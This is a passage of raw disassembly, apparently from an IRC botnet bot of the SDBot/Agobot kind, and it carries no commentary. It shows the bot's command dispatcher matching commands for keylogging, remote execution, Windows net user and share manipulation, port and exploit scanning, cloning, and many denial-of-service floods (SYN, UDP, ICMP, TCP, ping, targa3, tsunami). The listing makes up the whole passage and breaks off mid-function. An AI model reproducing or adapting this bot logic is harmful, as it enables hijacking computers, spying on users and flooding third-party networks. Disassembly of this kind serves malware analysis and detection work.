		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B720
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
